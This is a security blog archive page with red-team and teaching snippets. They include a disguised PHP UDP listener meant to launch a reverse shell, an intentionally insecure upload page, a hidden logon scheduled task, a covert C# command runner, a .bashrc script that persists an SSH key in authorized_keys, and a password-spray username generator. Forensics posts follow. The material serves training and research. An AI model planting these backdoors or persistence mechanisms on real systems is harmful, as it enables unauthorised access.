Monday, November 29, 2021

Simple PHP Listener on UDP 10000

 Found the following site demonstrating how to create a linux service with systemd and then extended it for a reverse shell.


# Credit for the idea
# https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6

$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock, '0.0.0.0', 10000);
$setIP = "";

for (;;) {
    socket_recvfrom($sock, $message, 1024, 0, $ip, $port);
    if (strpos($message, "ip") !== false) {
            $setIP = substr($message, 3, -1);
            $reply = $setIP . "\n";
    }
    elseif (strpos($message, "port") !== false) {
            $setPort = substr($message, 5, -1);
            $reply = $setPort . "\n";
    }
    elseif ((strpos($message, "status") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            $reply = "IP: $setIP Port: $setPort\n";
    }
    elseif ((strpos($message, "execute") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            # Launches a php-reverseshell...
            $reply = "IP: $setIP Port: $setPort\n";
    }
    else {
        $reply = "Piwigo is working as expected!";
    }
    socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port);
}

Tuesday, November 23, 2021

Powershell to Upload File to PHP Page

In the previous post, a PHP page was created to upload a file.  Below is powershell that can be used to upload a selected file from a windows computer to the PHP page.

add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(
        ServicePoint srvPoint, X509Certificate certificate,
        WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12'

# Name of the file to upload to server
$FileName = 'test4.txt';
# Location of file to upload
$FilePath = 'C:\users\thepcn3rd\test1.txt';
# URL of webserver (with SSL cert)
$URL = 'https://172.16.53.133/upload.php';

$fileBytes = [System.IO.File]::ReadAllBytes($FilePath);
$fileEnc = [System.Text.Encoding]::GetEncoding('ISO-8859-1').GetString($fileBytes);
$boundary = [System.Guid]::NewGuid().ToString(); 
$LF = "`r`n";

# Most difficult part is below...
$bodyLines = ( 
    "--$boundary",
    "Content-Disposition: form-data; name=`"f`"; filename=`"$FileName`"",
    "Content-Type: application/octet-stream$LF",
    $fileEnc,
    "--$boundary",
    "Content-Disposition: form-data; name=`"submit`"$LF",
    "Upload",
    "--$boundary--$LF" 
) -join $LF

Invoke-RestMethod -Uri $URL -Method Post -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines 

Simple PHP to Upload File (Insecure)

Below is php code for a simple file upload page.  This code is insecure and could allow an upload of a backdoor to your server.


<?php
    if (isset($_POST['submit'])) {
	$currentDirectory = getcwd();
    $uploadDirectory = "/uploads/";

        $fileName = $_FILES['f']['name'];
        $fileTempName  = $_FILES['f']['tmp_name'];

    	$uploadPath = $currentDirectory . $uploadDirectory . basename($fileName); 
        move_uploaded_file($fileTempName, $uploadPath);

        echo "The file " . basename($fileName) . " has been uploaded";
    }

    
?>

<html>
<body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        Upload a File:
        <input type="file" name="f">
        <input type="submit" name="submit" value="Upload">
    </form>
</body>
</html>

Monday, November 22, 2021

XML File for Creating a Scheduled Task

 Here is a simple XML File Created from Exporting a Scheduled Task.  The scheduled task was setup to run at any user logging in and to execute a powershell command with command line arguments.



<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>thepcn3rd</UserId>
      <LogonType>S4U</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-c "... | Out-Null"</Arguments>
    </Exec>
  </Actions>
</Task>

Simple C# Program to Execute Commands

 Created a simple C# program to execute commands...

using System;
using System.Text;
using System.Diagnostics;
using System.Threading;

namespace updateCheck
{
    public class check
    {
        public static void Main()
        {
            string executeCMD;
            executeCMD = "... && ";
            executeCMD += "... && ";
            executeCMD += "...";
            //Console.WriteLine(executeCMD);

            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput = true;
            cmd.StartInfo.RedirectStandardOutput = true;
            cmd.StartInfo.RedirectStandardError = true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.StartInfo.Arguments = "/C " + executeCMD;
            cmd.Start();
            // Last 2 lines may need to be reversed...
            cmd.StandardOutput.ReadToEnd();
            cmd.WaitForExit();
        }
    }
}




Monday, November 1, 2021

T1546 - Unix Shell Configuration Modification

As I was researching how "Unix Shell Configuration Modification" could be tested in a .bashrc file, I created the following bash commands that could be used.  It loops through the .ssh/authorized_keys files reading each line.  A sha256 checksum is gathered for the line of the ssh_key that you wish to insert.  If the ssh_key does not exist it will insert it, if the ssh_key does exist it does nothing.


exists="False"
while read l; do
  checksum=`echo "$l" | sha256sum | awk '{print $1}'`
  # For troubleshooting uncomment the following line to verify the checksum of the line in ~/.ssh/authorized_keys
  # echo $checksum
  # Substitute the checksum for the ssh-key that you want to be reintroduced to the authorized_keys file...
  if [ "$checksum" == "333459f693d01b41c0083bf8dc25ad51e08adf4a9474a3fb34198e3967d53bd4" ]; then
	  exists="True"
  fi
done < ~/.ssh/authorized_keys
if [ "$exists" == "False" ]; then
	# Verify the ssh-key that you are using is placed below...
	echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxGaIRqqBKzYJE+0atqKP9u/NCEElmevLyzdkPUYWHxZo16j8OykIfytbCDCagGobdCq4BOEQ48AoyecvFSG+G4NQib4iDDQMzp4+2b5Rs9LpAZgFAaU5BN2MIh7JNk6zWZ23Z5lOse4AembbyFsR0bQvfFSd1XzagUrmkH/Tg4EPgneieYyTp4vk2shvLWVxabZljsKd4hvV3Ei2xcCPU6nAqVoYNOAdUAI9HNkCf3ZDJU/zcm4MjGjCEoww0Krvuy9NuT2JIKdnk2OZHtKU4glIRLOQl3cI0AZaq6IF5VYsniVy+Ag6hVsLfEb7ByJIVlYkvgsW0POjfqLYezGd1Cwz5BKiTJUsCTt/GRhOgpAEkRVhY6TuMr/wgnyUMWxvSsiiLVahU4zvwyJsf8FD5vEhjc4yq+uwB7GX38fVam19LLRcF3OzHm3+mOxZRXjctnq5S6AQMRdTzHzC1tsj0= invalid@key" >> ~/.ssh/authorized_keys
fi 
 
 
Reference: https://attack.mitre.org/techniques/T1546/004/ 

Wednesday, October 13, 2021

Bruteforce: Password Spray - Create List of Possible Usernames from CSV

 I am teaching a class that introduces password spraying to students.  I introduce to them a website that we have in a lab where we collect the first name and last name of people on the page, then develop a username list to conduct a bruteforce password spray based on the sub-technique in the MITRE Att&ck Framework https://attack.mitre.org/techniques/T1110/003/.

The below python script takes a csv file as shown below and creates different username formats based on the list.

CSV File example:

james,carver
julio,deguilio
robin,freid
ted,montrose
trey,montoya


Python3 Script example:

 

#!/usr/bin/python3

import sys
import getopt
import csv

def main():
    inputfile = ''
    # Read the argument for the userlist file
    if len(sys.argv) < 2:
        print("./createUserList.py -i --userlist--")
        exit(1)
    else:
        opts, argv = getopt.getopt(sys.argv[1:],"i:")
        for opt, arg in opts:
            if opt in ['-i']:
                inputfile = arg
        # Read in the columns for first and last name...
        # This is not built to have column header names...
        with open(inputfile) as csv_file:
            csv_reader = csv.reader(csv_file, delimiter=",")
            for row in csv_reader:
                firstname = row[0]
                lastname = row[1]
                # first.last
                print(firstname + "." + lastname)
                # first_last
                print(firstname + "_" + lastname)
                # f.last
                print(firstname[0:1] + "." + lastname)
                # first.l
                print(firstname + "." + lastname[0:1])




if __name__=="__main__":
    main()  

Sunday, October 10, 2021

Volatility 3 Quick Setup on Remnux 7

 As I mentioned in the post last week I downloaded remnux to run volatility 2 or 3 for the memory image provided at BSides Idaho Falls.


After executing volatility the first time it will state that the symbol files need to be installed.  If you go to https://docs.remnux.org/discover-the-tools/perform+memory+forensics it talks about where to download the symbol files.  However the installation path is incorrect for remnux 7 that is listed.


If you execute the command "vol3 -vvv -f <mem image file> windows.info.Info", the path where it is looking for the symbol files will show as /usr/local/lib/python3.8/dist-packages/volatility3/framework/symbols or /usr/local/lib/python3.8/dist-packages/volatility3/symbols.  I observed that the 2nd directory does not exist and did not work when I created it...  I did not look into why...

 

My initial file that I downloaded was dfrws2005-physical-memory1.dmp.  As I loaded it with vol3 it kept returning that I did not have the symbols loaded.  I was becoming a little frustrated then I tried a memory image from the Malware Analysts Handbook and it worked.  I observed that it will attempt to find a symbol file but depending on the memory image vol3 did not work so I fell back to vol2.py.


Then I was able to run the variety of plugins available.  You can see the plugins available by default by executing:

vol3 -f <mem image file> -h

Here is a list of memory images available: https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples

Symbols File Updates: https://github.com/volatilityfoundation/volatility3#symbol-tables

Sunday, October 3, 2021

BSIDES Idaho Falls - Cloud Forensics Challenge - Expectations and Takeaways

BSIDES Idaho Falls offered a workshop called Cloud Forensics with an accompanying CTF.  I left early Friday to make the 3 hour drive for the workshop because I see the need in my career to learn more about the Cloud especially as it applies to Forensics.

My expectations had to change for this workshop.  I was expecting it to use the awscli to explore intrusions, cloud trail logs, and other tools.  Knowing that the instructor, Kerry Hazelton had 23 years of experience and was experienced in this realm I listened and undertook the CTF challenge that followed.

The new expectations that I built for the course:

1st - The workshop could have been named "Using an Amazon Instance in the Cloud to Conduct Forensics" (The instance was of a Windows 10 OS)

2nd - How to mirror traffic from 1 instance into the instance built for forensics

3rd - Use tools like Autopsy, ExifTool, and others to explore the artifacts.

Additional notes and takeaways:

I was unaware of the Autospy GUI that you could install in windows.  I explored version 4.9.1 and was impressed.  I observed as I tried to import the given images provided by the instructor that a VM with 2 CPUs and 8GB RAM struggled with digesting the 4 images provided in < 3 hours of time.  I could see how an Amazon Instance with the necessary resources (being temporary) could speed the process of forensics.  Especially if you are short on time and current resources as was the case in the CTF that lasted for 3 hours.  (The images were provided by an email caught in my spam folder the night before...)

Autopsy, the web server provided on a linux platform I have used in the past.  When I used the GUI I was impressed how it would digest the information, still a little slow.  You do need to make a choice as you import images that you have taken whether you enable or disable windows defender.  Windows Defender from what I experienced helped to identify malware that was carved from images, but also caused an interruption in the operation of the import process in Autopsy.

Mirroring traffic from 1 instance in Amazon to another instance through configuration of the ENI's I need to spend some more time in troubleshooting how this works.  A great take away!

One of the challenges involved looking at a memory image to solve what had occurred.  I initially loaded Volatility 3 into my linux VM and ran into issues with missing dependencies.  This is a plague of using Volatility 2.6 or 3.  To avoid this plague you can download the VM called "Remnux".  This has volatility 3 and autopsy pre-installed.  Volatility and how it works is different than Volatility 2.6 which I am most familiar with.

Then, I was not sure about the wireless provided so I used my phones hot spot.  I was not in a position to download "Remnux" during the challenge.  I then reverted to using the pre-compiled binary of Volatility 2.6 on Windows 10.  This worked until I found that I needed to extend the functionality to a plugin for exploring the browsing history of firefox.

In Summary

The workshop was thin on direction and content and very broad in expectations for the CTF Challenge.  I would recommend next year try and be more lean in the expectations of the CTF Challenge.  Then I would provide a better introductory email to introduce the workshop, content necessary to be successful in understanding the topics explored, and better introduce what is expected to be submitted in the CTF Challenge at least 3 days in advance.

The instructor, Kerry met my expectations of providing a challenge that was difficult.  Introduced us to new tools and how to use those tools to be successful.  

Thank you BSIDES Idaho Falls, I will look forward to participating next year!!



Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...